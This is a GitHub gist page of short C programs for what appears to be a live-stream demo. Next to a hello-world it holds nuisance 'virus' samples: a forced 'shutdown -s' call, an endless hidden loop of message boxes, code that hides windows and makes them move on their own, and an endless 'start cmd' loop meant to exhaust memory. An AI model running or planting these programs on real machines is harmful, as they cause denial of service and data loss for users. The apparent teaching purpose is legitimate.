Skip to content

Instantly share code, notes, and snippets.

@mbcrump
Last active October 11, 2020 18:45
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mbcrump/3344d8e2b1dd79d56d304e2c0875a741 to your computer and use it in GitHub Desktop.
Save mbcrump/3344d8e2b1dd79d56d304e2c0875a741 to your computer and use it in GitHub Desktop.
//compile the code
// gcc -o sd main.c -m32
//test
#include <stdio.h>
main()
{
printf("Hello, Twitch Stream");
}
// shutdown the system
#include <stdio.h>
main()
{
system("shutdown -s");
}
// popup windows model
// can exit out via task manager
#include <windows.h>
int main()
{
HWND hWnd = GetConsoleWindow();
if (hWnd)
ShowWindow(hWnd, SW_HIDE);
while (1)
{
MessageBoxW(NULL, L"Hello from mbcrump stream!", L"Virus1", MB_OK);
}
return 0;
}
// windows model
// can't exit out via task manager only can use ctrl-alt-del
#include <windows.h>
#include <math.h>
DWORD WINAPI moveit(){
HWND a=GetForegroundWindow();
int i,j,k=1;
while(k++){
i=200+300*cos(k);
j=150+300*sin(k);
MoveWindow(a,i,j,i,j,1);
Sleep(50);
}
}
main(){
DWORD dwThreadId;
HWND last=GetForegroundWindow();
ShowWindow(last, SW_HIDE);
while(1){
if(last!=GetForegroundWindow()){
last=GetForegroundWindow();
CreateThread(NULL, 0, moveit, &last, 0, &dwThreadId);
}
}
}
// overwhelm the ran in the system
// test bed that has 512mb ram
#include <stdio.h>
main()
{
while (1)
{
system("start cmd");
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment